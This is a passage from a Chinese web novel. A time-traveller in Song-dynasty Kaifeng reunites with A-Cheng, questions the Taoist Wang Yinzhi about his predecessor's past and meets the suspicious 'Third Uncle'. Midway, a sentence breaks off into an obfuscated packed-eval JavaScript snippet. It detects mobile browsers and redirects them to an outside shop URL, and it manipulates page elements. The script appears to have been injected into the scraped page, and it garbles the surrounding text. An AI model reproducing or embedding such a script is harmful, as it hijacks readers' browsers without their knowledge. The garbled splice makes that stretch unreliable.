水是浑的，带着一股腥臭味，但他顾不上那么多了。他已经两天没喝过一口水，嗓子眼里像塞了一团烧红的炭。他咕咚咕咚地喝了几大口，肚子里的饥饿感更加强烈了。他把碗扣在膝盖上，蹲在水沟边，眼睛直勾勾地盯着远处的一个炊饼摊子。炊饼两文钱一个，他翻遍了全身上下，一文钱都没有。 “北哥，北哥！” 一个比他还瘦小的男孩跑过来，气喘吁吁地蹲在他旁边，手里攥着半个硬馒头。馒头已经干了，表面还有一层灰，但那男孩把它递过来的时候，眼神里满是讨好。 “北哥，给你。我从赵大嘴那里偷的。” 少年接过馒头，掰成两半，把大的那半递回去：“一人一半。” “不用不用，我吃过了——” “少废话。吃。” 两人蹲在水沟边，就着臭水沟里的水，把那半个硬馒头分着吃了。馒头又干又硬，嚼得腮帮子疼，但少年吃得很认真，一口一口地嚼，不舍得咽太快。 “北哥，咱们什么时候能回徐州？”男孩吃完馒头，舔了舔手指头，眼睛巴巴地看着他。 “不急。”少年说，“等我把那件事办完，就回去。” “什么事儿啊？你一直不说。” “不关你的事。少打听。” 男孩撇了撇嘴，不再问了，把头靠在少年的肩膀上，不一会儿就打起了呼噜。 少年没有睡。他看着远处东京城的万家灯火，眼睛里倒映着那些明亮的光，但那些光离他很远很远，像是隔着一整个世界。 “阿诚，”他低声说，不知道是说给那男孩听，还是说给自己听，“等这件事办完了，哥带你去吃真正的炊饼。不是硬的，是软的那种，刚出炉的，热乎乎的。” 男孩在睡梦中“嗯”了一声，不知道听没听见。 萧北翊猛地睁开眼睛。 头顶是葫芦巷北屋的房梁，月光从窗户纸透进来，在地上画出一个方方正正的亮斑。他出了一身的汗，里衣湿透了贴在背上，凉飕飕的。 梦。 又是那个梦。 自从穿越到这具身体里，他已经做了好几次同样的梦。每一次都是那个少年乞丐的记忆碎片——水沟、炊饼摊、瘦小的男孩、还有“徐州”这个地方。 萧北翊坐起来，靠在床头，伸手摸了摸自己的额头。不烫。这说明不是发烧引起的幻觉。这是原主真实的记忆，被压在这具身体的最深处，时不时冒出来，像是在提醒他——你还有未完成的事。 未完成的事。 萧北翊闭上眼睛，把那个少年乞丐的记忆碎片重新拼了一遍。 原主叫萧北翊，跟他穿越后的名字一模一样。这也许就是他的灵魂能附着在这具身体上的原因——同名同姓，冥冥中有某种联系。 五岁那年，全家被灭门，他躲在大鱼缸里逃过一劫。之后流落街头，被一个徐州的老乞丐收养，在那个老乞丐的带领下，一路从真定府流浪到了徐州，在那里混了十年。 那个老乞丐姓陈，人称陈布衣，是徐州一带丐帮的头目。此人虽然是个乞丐，但识文断字，能写会算，在当地乞丐圈子里很有威望。原主跟着他学了三年，识了字，算清了数，也学会了看人——陈布衣说过一句话，原主记了一辈子：“咱们乞丐，本事不在手上，在眼睛上。手上的本事是讨饭，眼睛上的本事是活命。” 这话原主当时不太懂，但萧北翊现在懂了。那不是讨饭的道理，是情报工作的道理——用眼睛观察世界，用脑子分析信息，这才是底层人往上爬的唯一途径。 后来陈布衣死了，临死前把原主叫到跟前，交代了一件事。 什么事？ 萧北翊在记忆碎片里拼命搜索，但这一段非常模糊。只能隐约看见一个老人躺在床上，嘴唇翕动，像是在说什么重要的话，但声音听不清。画面到这里就断了，像是被人刻意抹去了一样。 再后来，原主带着一个叫阿诚的小兄弟，从徐州来到了东京城。阿诚比他小四岁，是个孤儿，原主把他当亲弟弟一样养着。两人在徐州时就跟在原主屁股后面转，到了东京城，更是寸步不离。 但在原主的记忆里，阿诚只出现了一次——就是刚才梦里的那一段。之后的记忆就没有了。没有阿诚的下落，没有他来东京城的任务，什么都没有。 像是有人用橡皮擦掉了一段，只留下一些模糊的痕迹。 萧北翊睁开眼睛，看着头顶的房梁。 “陈布衣。阿诚。徐州。” 他低声念着这几个词，像是念咒语一样。 看来，他得把原主的过去查清楚了。不是为了好奇，而是因为——那些过去，迟早会找上门来。 没想到，找上门来的速度，比他预想的快得多。 那是中秋节前的一个傍晚，萧北翊在火锅店里算账，店里客人不多，只有两三桌。阿九在柜台后面打盹，赵大锤在后厨切肉，一切都跟平常一样。 门被推开了。 萧北翊抬头看了一眼，又低下头继续算账。进来的是一个二十出头的年轻人，穿着一件半旧的青布袍子，皮肤黝黑，手脚粗大，看起来像个做苦力的。他在门口站了一会儿，四处张望了一下，然后径直走向柜台。 “老板，”他的声音有点哑，像是嗓子受过伤，“你们这儿，是不是有一个叫萧北翊的人？” 萧北翊手里毛笔一顿，墨汁滴在账册上，洇开一朵黑色的花。 他抬起头，看着那人的脸。 那是一张陌生的脸。但那双眼睛——那双眼睛里有某种东西，让萧北翊的心跳突然加快。 “你找他干什么？”萧北翊不动声色地问。 “我……”年轻人的嘴唇哆嗦了一下，眼眶突然红了，“我是他兄弟。我找了他两年了。” 萧北翊盯着他看了好一会儿，然后站起来，绕过柜台，走到门口，把门关上，把“营业中”的牌子翻成了“打烊”。 “阿九，”他说，“去后厨跟大锤说，今天早点收工。你们先回去。” 阿九看了看那个年轻人，又看了看萧北翊，没问为什么，点了点头，去后厨叫赵大锤。两人从后门走了，走的时候阿九回头看了萧北翊一眼，眼神里带着一丝担忧。 店里只剩下萧北翊和那个年轻人。 “坐。”萧北翊指了指靠窗的位置，自己去倒了两杯茶，端过来，在他对面坐下。 年轻人没有坐，而是站在那里，盯着萧北翊的脸看了又看。 “你……你真是北哥？”他的声音在发抖。 萧北翊喝了一口茶，放下杯子，看着他的眼睛。 “我是萧北翊。你是谁？” 年轻人突然跪了下来，膝盖磕在地上，发出一声闷响。 “北哥！我是阿诚啊！你不认识我了？” 阿诚。 萧北翊的手微微收紧，但脸上没有任何表情。 “阿诚，”他重复了一遍这个名字，像是在品味它的味道，“你怎么找到这里的？” 阿诚跪在地上，仰着头看着他，眼泪已经流下来了。 “北哥，我找了你两年。两年前你突然不见了，我在东京城找了整整一年，没找到。后来我回了徐州，想着你可能回去了，也没有。我……”他擦了擦眼泪，“我差点以为你死了。” 萧北翊沉默了一会儿，伸手把他扶起来。 “起来说话。” 阿诚站起来，坐在他对面，但屁股只沾了椅子边，身体前倾，像是怕他又跑了似的。 “北哥，你到底怎么了？你以前不是这样的。”阿诚看着他，眼神里有不解，也有恐惧，“你以前……你不是这样的。你不穿这种衣裳，你不坐在这种店里，你不在账册上写字。你到底经历了什么？” 萧北翊心里一紧。 阿诚说的是实话。原主萧北翊，一个乞丐，不会开火锅店，不会用复式记账法，不会组建情报网络。他做的这些事，跟原主完全是两个人。 “阿诚，”萧北翊斟酌着词句，“这两年发生了很多事。我不方便跟你细说。你只需要知道一件事——我还是萧北翊，但我不再是以前的那个萧北翊了。” 阿诚听不懂这句话，但他点了点头。 “北哥，你说话跟以前不一样了。” “人总会变的。” “可是……”阿诚欲言又止，最后还是忍不住问了，“北哥，你以前来东京城，是为了陈爷爷交代的那件事。那件事，你办了吗？” 陈爷爷。 陈布衣。 萧北翊的心跳又加快了。这正是他记忆碎片里缺失的那一块。 “陈爷爷交代的那件事，”萧北翊试探着说，“你记得多少？” 阿诚愣了一下：“北哥，你忘了？是你告诉我的啊。陈爷爷临死前把你叫到跟前，跟你说了一件事，让你来东京城办。你没跟我说具体是什么事，只说要来东京城找一个叫王什么的人。” “王什么？” “王……王……”阿诚皱着眉头想了半天，“王……隐？好像是叫王隐什么。你说那人是个道士，在太乙宫当差。找到他，就能找到陈爷爷要你找的东西。” 王隐之。 萧北翊的手指在桌下微微颤抖。 原主来东京城的任务，是找一个叫王隐之的道士。而王隐之，恰恰是他穿越后遇到的第一个人——不是因为巧合，是因为原主本来就是要来找他的。 这一切，不是偶然。 “北哥，”阿诚小心翼翼地问，“你找到那个王道士了吗？陈爷爷让你找的东西，找到了吗？” 萧北翊深吸一口气，没有回答。 “阿诚，你先告诉我，陈爷爷让你来东京城找我，是为了什么？” 阿诚挠了挠头：“陈爷爷没让我找你啊。是我自己找你的。你走了之后，我在徐州待了一年，实在待不住了，就出来找你了。” “你没有跟其他人一起来？” “没有。就我一个。” 萧北翊沉默了。 他在衡量阿诚的话是真是假。一个在原主记忆里出现过的少年，一个自称“兄弟”的人，突然出现在他的火锅店里——这太巧了。巧得让人不得不怀疑。 但他看着阿诚的眼睛。那双眼睛里有泪水，有欢喜，有委屈，有无数种复杂的情感在翻涌。那不是能装出来的。 “阿诚，”萧北翊说，“陈爷爷让我找的东西，还没找到。但我找到王道长了。” 阿诚的眼睛亮了：“真的？” “真的。”萧北翊站起来，“你今晚住哪儿？” “我……我刚到东京城，还没找地方住。” “今晚住我那里。”萧北翊拿起柜台上的钥匙，“走，先吃饭。” 萧北翊把阿诚带回了葫芦巷的院子。 他让赵大锤去隔壁巷子买了几样熟食，又让钱串子去打了壶酒，几个人坐在院子里的石桌旁，算是给阿诚接风。 阿诚吃得狼吞虎咽，像是好几天没吃过饱饭。赵大锤看着他吃，眼神复杂——这个画面，几个月前也发生过，只不过那时候狼吞虎咽的人是萧北翊。 “北哥，”阿诚嘴里塞满了肉，含混不清地说，“你过上好日子了。这院子，这火锅店，这些兄弟……你真厉害。” 萧北翊没接话，端起酒杯喝了一口。 “阿诚，陈爷爷的事，你从头到尾跟我说一遍。” 阿诚咽下嘴里的肉，擦了擦嘴，脸上的表情变得认真起来。 “陈爷爷死的那天，你在跟前，我在门外。你们说什么我没听见，但陈爷爷死之后，你出来的时候眼睛红红的，我问你怎么了，你不说。过了几天，你说你要去东京城办事，让我在徐州等你。我问你办什么事，你说不让我知道是为了我好。” “然后呢？” “然后你就走了。我等了一个月，你没回来。等了半年，你还是没回来。我就出来找你了。” “你从哪里开始找的？” “先从徐州周边找起，没找到。后来听说有人在东京城见过一个跟你很像的乞丐，我就来了东京城。我找了一年，把东京城翻了个遍，没找到你。我差点以为你死了，回徐州了。可是……”阿诚的声音低了下去，“可是我不甘心。” 萧北翊沉默了一会儿：“你在东京城找了一年，没找到我？” “没有。”阿诚摇头，“你以前是个乞丐，穿的破破烂烂的，在街上讨饭。你现在穿得干干净净的，还开了店，坐在店里算账——我跟你说实话，我刚才进店的时候，第一眼压根没认出来你。我是听到别人喊你‘萧哥’，我才多看了几眼。” 萧北翊心里暗暗庆幸。 如果不是阿诚听到了“萧哥”这个称呼，他可能永远不会发现萧北翊。这意味着，原主过去的人际关系，跟赤羽现在的网络没有任何交集。这是一件好事——说明他的过去和现在，是两条平行线。 但也意味着另一件事——他现在的生活越成功，原主过去认识他的人就越难找到他。除非，他们像阿诚一样，碰巧听到了“萧”这个姓。 “北哥，”阿诚忽然问，“你还记得三叔吗？” 萧北翊心里一紧。又一个名字。 “三叔怎么了？” “三叔说他要来东京城找你。我走的时候，他还在徐州，但我不知道他现在还在不在。” “三叔是谁？”萧北翊假装不经意地问。 阿诚愣了一下，然后用一种奇怪的眼神看着他。 “北哥，你怎么连三叔都不记得了？三叔是陈爷爷的拜把子兄弟啊。当年在徐州，是陈爷爷把你带回来的，三叔一直不太喜欢你。你走了之后，三叔说你是忘恩负义的小人，拿了陈爷爷的东西跑了。” 萧北翊的眉头皱了起来。 “我拿陈爷爷什么东西了？” “我不知道。三叔这么说，但我不信。”阿诚的语气很坚定，“北哥你不是那种人。” 萧北翊没有再问。他给阿诚安排了住处，让他早点休息。 关上门的瞬间，他的脸色沉了下来。 第二天一早，萧北翊把阿九叫到院子里，关上门，把昨晚的事简单说了一遍。 他没有隐瞒——阿九是他最信任的人之一，赤羽的事她全知道，原主的事她也有权知道。 “萧哥，”阿九听完，皱着眉说，“这个阿诚，你打算怎么办？” “先留下来。观察一段时间。” “你不信任他？” “不是不信任。”萧北翊说，“是必须小心。我现在不是一个人，赤羽二十几号人，不能因为我的过去出纰漏。” 阿九点了点头：“那个三叔呢？如果他也来了东京城，怎么办？” 萧北翊沉默了。 三叔——这个在原主的记忆碎片里几乎没出现过的人，突然成了一个潜在的危险。一个不太喜欢原主的人，一个认为原主“拿了东西跑了”的人，如果来到东京城，看到现在的萧北翊，会做什么？ “帮我查。”萧北翊说，“查徐州那边过来的乞丐，有没有一个叫‘三叔’的人。年纪大概五六十岁，有可能是陈布衣的拜把子兄弟。不要惊动任何人，只要确认他有没有来东京城就行。” “如果找到了呢？” “找到了再说。” 阿九走后，萧北翊一个人站在院子里，看着头顶的天空。 事情比他想的要复杂。原主的过去，不是一段可以随意丢弃的旧衣裳，而是一条随时可能浮出水面的暗线。陈布衣、阿诚、三叔、还有那个未完成的任务——这些东西，像是一颗颗埋在暗处的地雷，不知道什么时候就会炸。 但萧北翊不后悔接手这些麻烦。 因为他知道，原主的过去，也是他的过去。他占了这具身体，就要承担这具身体带来的一切——好的，坏的，干净的，肮脏的，一并收下。 院子里忽然传来脚步声。 萧北翊转过头，看见南晚枫从院门口走进来。她今天穿了一件深灰色的短打，腰间系着一条黑色的布带，头发扎成一个利落的马尾，手里提着一把油纸伞。 “南姑娘？”萧北翊有些意外，“你怎么来了？” 南晚枫看了他一眼，走到石桌旁坐下。 “昨晚你店里来了一个人。年轻人，穿青布袍子，不是你手下的人。”她的语气很平淡，像是在说今天的天气，“他是谁？” 萧北翊心里咯噔了一下。南晚枫怎么知道的？她在监视他的店？ “一个老朋友。”萧北翊说，“从徐州来的。” “徐州？”南晚枫的眉头微微皱了一下，“你在徐州有朋友？” “我以前在徐州待过。” 南晚枫盯着他看了一会儿，似乎在判断这话的真假。 “萧子翼，”她说，“你这个人，身上的秘密太多了。” 萧北翊笑了笑：“谁身上没有秘密？” “我的意思是，”南晚枫站起来，把油纸伞放在石桌上，“你最好小心一点。那个年轻人来东京城找你，背后未必没有人指使。” “你是说——” “我什么都没说。”南晚枫打断他，“我只是提醒你。” 她转身走了，步伐不快不慢，像一只悄无声息的猫。 萧北翊站在原地，看着她的背影消失在巷口。 她在提醒他。她在保护他。还是——她在替别人监视他？ 不管哪一种，萧北翊知道一件事——从现在起，他必须更加小心了。 当天晚上，萧北翊把阿诚叫到北屋，关上门，点了一盏灯。 “阿诚，”他说，“有些事，我必须问你。你老实回答。” 阿诚点了点头。 “第一，陈爷爷临死前交代我的事，你知不知道具体是什么？” 阿诚摇头：“不知道。你不说，陈爷爷也不让我听。” “第二，你出来找我这件事，还有谁知道？” 阿诚想了想：“我在徐州的几个兄弟知道。他们知道我要来东京城找你，但不知道具体什么时候走。” “这几个兄弟，可靠吗？” 阿诚犹豫了一下，然后摇头。 “有一个人，不太可靠。他叫王猴子，以前是三叔那边的人。我走的时候，他问我去哪儿，我说去找你。” 萧北翊的眉头皱了起来。 “王猴子跟三叔关系近吗？” “近。王猴子是三叔的干儿子。” 萧北翊深吸一口气。 三叔的干儿子知道了阿诚来东京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650298|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找萧北翊。如果三叔真的对原主有敌意，那么——王猴子可能已经把这个消息传回去了。 “北哥，”阿诚看着他的脸色，声音有些发颤，“我是不是做错了什么？” 萧北翊看着他，沉默了一会儿，然后伸手拍了拍他的肩膀。 “没有。你什么都没做错。” 他站起来，走到窗前，看着窗外的月亮。 “阿诚，从今天起，你就留在赤羽。跟着刘二干活，学本事。” “赤羽？”阿诚愣了，“什么是赤羽？” 萧北翊回过头，嘴角微微上扬。 “以后你就知道了。” 阿诚的事暂时安顿了下来，但萧北翊心里清楚，这只是个开始。 原主的过去，像一条被冰封的河。现在，冰开始融化了。 陈布衣交代的任务是什么？陈布衣让原主找王隐之，到底是为了什么？王隐之知道这件事吗？他收留萧北翊，是不是因为这个？ 还有三叔。这个在原主记忆中几乎不存在的人，为什么会突然冒出来？他跟陈布衣是什么关系？他跟原主之间，到底有什么恩怨？ 这些问题，萧北翊现在都没有答案。 但他知道该从哪里开始查。 第二天一早，萧北翊去了太乙宫，找王隐之。 太乙宫在城东，是一座不大不小的道观，香火不算旺，但因为在王钦若的地盘上，进进出出的都不是一般人。 萧北翊到的时候，王隐之正在后院的菜地里浇水。老道士穿着一件打着补丁的道袍，裤腿卷到膝盖，脚上踩着一双草鞋，活像一个种地的老农。 “子翼？”王隐之看见他，有些意外，“你怎么来了？” 萧北翊没急着回答，而是找了块石头坐下来，看着王隐之浇水。 “道长，我想问你一件事。” “说。” “你认识一个叫陈布衣的人吗？” 王隐之手里的水瓢停了一下，然后继续浇水。 “陈布衣？不认识。” “真的不认识？” 王隐之放下水瓢，在衣摆上擦了擦手，走到萧北翊对面，在一块石头上坐下来。 “子翼，你今天来，不是来跟我聊天的。你是来问事的。” “对。” “什么事？” 萧北翊看着王隐之的眼睛。 “道长，你第一次见到我的时候，是在茶摊旁边。我在地上写圆周率，你注意到了。你是偶然路过，还是——有人在等你？” 王隐之的瞳孔微微缩了一下。 这个细节，萧北翊注意到了。 “你在说什么？”王隐之的语气很平静，但平静得有些刻意，“贫道只是路过，看你一个乞丐在地上写字，觉得有趣，就停下来看了。” “有趣？”萧北翊笑了，“道长，你一个研究天文历算的学者，在街上看见一个乞丐写出圆周率小数点后二十位，你只是觉得‘有趣’？” 王隐之不说话了。 “你收留我，教我算学，让我住在你家。这些事，是因为你善良，还是因为——你知道我会来？” 王隐之沉默了很久。 院子里的竹丛被风吹得沙沙响，像是在替他说什么。 “子翼，”王隐之终于开口，声音比平时低了几分，“有些事，贫道现在不能告诉你。不是因为不想说，是因为——时候未到。” “什么时候才到？” “等你自己找到答案的时候。” 萧北翊看着他，他也看着萧北翊。两人对视了足足十秒钟，谁也没有让步。 “好，”萧北翊站起来，“道长不说，我不勉强。但我还有最后一个问题。” “问。” “你认识陈布衣吗？” 王隐之闭上眼睛，像是在做一个艰难的决定。 “认识。” 萧北翊的心跳猛地加速了。 “他让你来东京城找我？” 王隐之睁开眼睛，看着萧北翊，目光中带着一种说不清道不明的东西。 “是。” 萧北翊深吸一口气，又问：“他让你找的那个人，是我？” 王隐之没有回答。 但他没有否认。 萧北翊站在原地，看着王隐之那张皱纹纵横的脸，心里涌起一股复杂的情绪。 从第一天起，王隐之就知道他是谁。不是巧合，不是偶然，而是一个——安排。 “道长，”萧北翊的声音有些涩，“陈布衣让你找的那个人，是萧家的后人。还是——另一个人？” 王隐之站起来，拍了拍袍子上的灰，拿起水瓢，继续浇水。 “子翼，”他头也不回地说，“有些答案，不是贫道能给的。你自己去找吧。” 萧北翊站在太乙宫的后院里，看着王隐之佝偻的背影，在菜地里一瓢一瓢地浇水。 秋天的阳光照在老道士身上，把他的影子拉得很长。 萧北翊站了一会儿，然后转身走了。 走到院门口的时候，他停下脚步，回头看了一眼。 王隐之还在浇水。 萧北翊深吸一口气，迈步走了出去。 回到葫芦巷，萧北翊把阿九叫到北屋，关上门。 “阿九，帮我查一个人。徐州那边的乞丐，姓陈，叫陈布衣。几年前死的。死之前是徐州丐帮的头目。” 阿九点头，拿起纸笔记下。 “还有，”萧北翊说，“查一下徐州那边一个叫‘三叔’的人，可能是陈布衣的拜把子兄弟。” “萧哥，”阿九看着他的眼神有些担忧，“你是不是遇到麻烦了？” 萧北翊沉默了一会儿，然后笑了。 “麻烦？我一直都在麻烦里。不差这一个。” 阿九没再问，拿着纸条出去了。 萧北翊一个人坐在北屋里，拿出那张“人脉图”，在陈布衣的名字上画了一个圈。 然后他又在王隐之的名字上画了一条线，连到陈布衣的名字上。 两个人，一条线。 陈布衣认识王隐之。王隐之认识陈布衣。 而陈布衣，是收养原主的人。王隐之，是收留萧北翊的人。 这两个人之间，一定有什么他不知道的联系。 萧北翊把笔放下，靠在椅背上，看着头顶的房梁。 原主的过去，比他想像的要复杂得多。 但没关系。他有赤羽，有脑子，有时间。 慢慢查。 当天夜里，萧北翊又做了一个梦。 梦里，他还是那个瘦骨嶙峋的少年乞丐，蹲在徐州城外的一座破庙里。旁边坐着一个老人，穿着一件洗得发白的青布袍子，手里拿着一根旱烟杆，正吧嗒吧嗒地抽着。 “爷爷，”少年乞丐说，“你真的认识东京城里的道士？” 老人吐出一口烟圈，眯着眼睛看着远处。 “认识。年轻的时候认识的。那道士姓王，是个好人。” “他能帮我们？” “不是帮我们，”老人说，“是帮他应该帮的人。” 少年乞丐听不懂，但也没再问。 老人把旱烟杆在石阶上磕了磕，站起来，拍了拍少年的肩膀。 “北啊，爷爷活不了多久了。爷爷这辈子没儿没女，就你这么一个徒弟。爷爷欠别人的，得还。你替爷爷还。” “还什么？” 老人没有回答，转身走进了破庙的黑暗中。 萧北翊猛地睁开眼睛。 北屋里一片漆黑，只有窗外透进来的月光，在地上画出一个模糊的亮斑。 他坐起来，靠在床头，心脏砰砰地跳。 陈布衣欠别人的“得还”。让他替他还。 还什么？欠谁的？ 萧北翊在黑暗中睁着眼睛，把梦里的每一个细节反复咀嚼。 王隐之。陈布衣认识王隐之。他说“那道士姓王，是个好人”——这个姓王的道士，就是王隐之。 所以，陈布衣让原主来东京城找王隐之，是为了“还债”。还什么债？是陈布衣欠王隐之的债，还是别人欠的？ 萧北翊想到了一个可能——萧家的灭门案。 二十年前，萧家满门被灭，只有五岁的原主逃了出来。陈布衣在徐州收养了他，教他识字算数，教他看人察言观色。临死前，让他来东京城找王隐之。 王隐之，一个在太乙宫当差的学者型道士，跟二十年前的灭门案有什么关系？ 萧北翊不知道。 但他知道一件事——这条线索，必须查下去。不是为了原主，是为了他自己。因为萧家的仇，也是他的仇。灭门的真相，关系到他在这世上唯一的身份。 萧北翊重新躺下来，闭上眼睛。 窗外，月亮躲进了云层里。 他的心跳慢慢平复下来，呼吸变得均匀。 明天，还有很多事要做。 原主的过去、赤羽的未来、赵衍的棋局、南晚枫的谜团、阿诚的突然出现、三叔的潜在威胁——这些东西像一堆乱麻，缠在一起，等着他去解开。 但萧北翊不急。他有的是耐心。 因为他知道，在这个世界上，最强大的武器不是刀剑，不是权势，而是一个冷静的头脑。 而这一点，他比任何人都强。 9. 第九章 三叔来了，萧哥笑了 阿诚在赤羽安顿下来之后，日子过得比在徐州时好了不知道多少倍。 每天有白面馒头吃，隔三差五还能吃上肉。萧北翊给他安排跟着刘二学规矩，刘二对这个“萧哥的兄弟”很照顾，但也严格——每天早上卯时起床，先绕着葫芦巷跑五圈，然后学认字、学记路、学分辨人的身份。阿诚脑子不笨，学得快，半个月就能写出自己的名字了。 萧北翊看着阿诚的进步，心里挺满意。但他心里也清楚，阿诚来了，意味着原主的过去就没办法再假装不存在了。 阿诚来的第三天，萧北翊就找机会旁敲侧击地问他，当初在徐州时，陈布衣有没有跟他说过什么特别的话。 阿诚想了想：“陈爷爷说你命苦，让你以后多吃点好的。” “……就这些？” “还有，”阿诚挠挠头，“陈爷爷说你在东京城有个远房亲戚，让你去找。我问他是谁，他说等你去了就知道了。” 远房亲戚。萧北翊心里一动。陈布衣说的，会不会是王隐之？ 他试探着问：“那个亲戚，姓什么？在哪儿？” 阿诚摇头：“不知道。陈爷爷没说。” 萧北翊没再问。但他心里已经有了数——陈布衣让原主来东京城，名义上是找“远房亲戚”，实际上是来找王隐之拿那本《孙子兵法》。至于为什么不说真话，大概是因为当时阿诚还小，嘴不严，怕走漏了风声。 但现在有个新问题：那个三叔，到底知不知道这件事？ 萧北翊让阿九去查，阿九的效率很高，不到十天就有了回音。 “萧哥，三叔确实来了东京城。”阿九站在葫芦巷的院子里，手里捏着一张纸条，“徐州的线人三天前在城东的‘悦来客栈’见过他，跟他一起的是王猴子。两人住在一个房间，深居简出，只在傍晚出门一次，去附近的小饭馆吃饭。” “有没有跟别人接触过？” “暂时没有发现。但我让人继续盯着了。” 萧北翊点了点头。一个老乞丐带着干儿子，从徐州跑到东京城，住进客栈，深居简出——这不是来旅游的。也不是来找人帮忙的——如果是要投靠谁，早就找上门了。更像是，在等什么。 等什么？等他萧北翊自己出现？还是等某个时机？ “萧哥，要不要主动去找他们？”阿九问。 萧北翊想了想，摇头：“不去。敌不动，我不动。他既然住在客栈，那就让他住着。咱们该干嘛干嘛。” “可是他要是到处打听你——” “打听就打听。东京城这么大，叫萧北翊的不只我一个。他打听多久是他的事。”萧北翊笑了笑，“再说了，他要是真能找到我，说明他还有几分本事。到时候再见也不迟。” 阿九看了他一眼，嘴角微微上扬：“萧哥，你这叫不叫‘稳坐钓鱼台’？” “这叫‘该吃吃该喝喝，遇事别往心里搁’。” 三叔的事暂时搁在一边，萧北翊把精力放回了火锅店和赤羽的消息网络。 火锅店的生意越来越好，好到隔壁老孙头每天早上搬豆腐脑摊子的时候，都会故意把桌子往萧北翊那边多挪一寸。萧北翊也不恼，反而主动提出让老孙头在火锅店门口搞个“早餐联营”——客人买一碗豆腐脑，凭票可在火锅店享受九折优惠。 老孙头听完，愣了半晌：“这叫啥？” “这叫互相帮衬。”萧北翊笑眯眯地说，“孙叔，您想啊，您的客人来吃豆腐脑，顺便知道了我这儿有火锅。我店里的客人想吃早餐，顺便知道了您这儿的豆腐脑。咱们谁也不吃亏，生意都变好了。” 老孙头掰着手指头算了半天，最后还是点了头。结果一周下来，他的豆腐脑销量翻了一倍。老孙头乐得合不拢嘴，逢人就说“萧子翼这小子，鬼精鬼精的”。 赵大锤对此的评价是：“萧哥，你把人家卖了，人家还帮你数钱。” 萧北翊白了他一眼：“这叫双赢，懂不懂？” 赤羽的消息网络也在有条不紊地扩张。 萧北翊把东京城又细分了一次，从原来的三十多个小片区，扩展到了五十多个。每个小片区都有专人负责，每条街道、每个巷子、每个集市都有赤羽的眼睛和耳朵。消息从最底层一层一层地汇总上来，经过筛选、分级、整理，最后呈现在萧北翊面前时，已经是一份清晰明了的情报简报。 这套体系脱胎于现代情报工作的“网格化管理”，但在北宋，这叫“萧子翼的规矩”。刘二说他在边军都没见过这么严密的体系，钱串子说这比他在钱庄看到的账目管理还精细，孙驼子只说了四个字：“后生可畏。” 萧北翊每天都花半个时辰看简报。不是因为他勤快，而是因为他发现了一个规律——东京城的大小事，看似杂乱无章，但只要把信息积累到一定程度，就能从中看出趋势。 比如，城东的“永丰粮铺”连续十天大量收购粮食，价格比市价高一成。单独看这条信息，只能说明有人在囤粮。但结合城南的“益粮行”也在收粮、城北的“顺和粮栈”也在收粮，而且背后的买家都是同一个神秘东家，那就不是简单的囤粮了——是有大户在提前布局。 萧北翊在那个神秘东家的名字旁边打了个问号，让阿九继续追查。 又比如，城西的“孙家瓦舍”新来的管事马都头，虽然是禁军退役，但他的前任上司是丁谓的一个门客。这条信息让萧北翊的眉毛挑了一下——丁谓，朝中另一个权臣，跟王钦若既是一党又互相提防。孙七爷跟程家有联系，现在又挖来一个跟丁谓有关系的人管事，这里面的关系网，比蜘蛛网还复杂。 萧北翊把这些信息一一记在脑子里，像拼图一样，一块一块地拼。虽然现在还看不出全貌，但他知道，总有一天，这些碎片会拼出一张完整的图。 九月下旬的一天傍晚，萧北翊正在火锅店的柜台前算账，阿九从外面走进来，在他耳边低语了几句。 三叔来了。 萧北翊手里的毛笔顿了一下，然后继续写。 “几个人？” “就他一个。王猴子没来。他在巷口站了一会儿，看着咱们的招牌，然后走了。” “走了？没进来？” “没进来。” 萧北翊放下笔，想了想。三叔找到他的店了。说明他已经打听过了，知道南北火锅是萧子翼开的。但他没有直接进来，说明他在犹豫——或者，在等萧北翊主动去找他。 “萧哥，要不要——” “不。”萧北翊打断她，“跟他说，让他进来坐。不是我出去找他，是他来找我。” 阿九愣了一下：“让谁说？” “让巷口那个卖糖葫芦的老头。他不是咱们的人，但三叔不认识他。让老头传个话，就说‘火锅店的老板请你进去坐坐’。” 阿九点了点头，转身出去了。 萧北翊继续算账，脸上看不出任何表情。 过了大约一盏茶的工夫，店门被推开了。 进来的是一个六十来岁的老人，穿着一件洗得发白的青布直裰，头发花白，脸上的皱纹像是被刀刻出来的，一双眼睛不大，但很亮，亮得不像一个乞丐。 三叔。 萧北翊没有起身，而是抬头看了他一眼，然后指了指对面的椅子：“坐。” 三叔站在那里，盯着萧北翊看了好一会儿，然后慢慢走过来，坐下了。 两人对视了几秒。萧北翊先开口：“三叔，好久不见。” 三叔的嘴角抽动了一下，声音沙哑得像砂纸磨铁：“你倒是过上好日子了。火锅店、手下、还有这身衣裳——北，你还记得你是谁吗？” 萧北翊端起茶杯，喝了一口，不紧不慢地说：“记得。萧北翊，徐州陈布衣的徒弟，来东京城讨生活的。” “就这些？” “三叔觉得还应该有什么？” 三叔盯着他的眼睛，似乎在判断他说的是真是假。 “陈大哥的东西，你拿走了。”三叔的声音低了下去，“那些东西，不属于你一个人。” 萧北翊心里明白了。三叔找上门来，不是为了叙旧，不是为了兴师问罪，而是为了陈布衣留下的“东西”。但问题是，陈布衣到底留下了什么？ “三叔，”萧北翊放下茶杯，“陈爷爷留给我的东西，是一本书。除此之外，什么都没有。” “一本书？”三叔冷笑了一声，“一本什么书？” “《孙子兵法》。我父亲留给我的遗物。” 三叔的脸色变了一下，但很快恢复了正常。 “你父亲？你父亲是谁？” 萧北翊看着他，嘴角微微上扬。三叔问这句话的时候，眼神闪烁了一下——他在说谎。他知道萧北翊的父亲是谁。 “三叔，咱们明人不说暗话。”萧北翊站起来，绕过柜台，走到三叔身边，俯下身，在他耳边低声说，“你知道我是谁，我也知道你知道。陈爷爷让你来东京城找我，不是为了那本书——那本书本来就是我的。你来找我，是为了别的。” 三叔的身体僵硬了一下。 萧北翊直起身，拍了拍他的肩膀，笑着说：“三叔，不急。先吃顿饭，喝完酒，慢慢聊。” 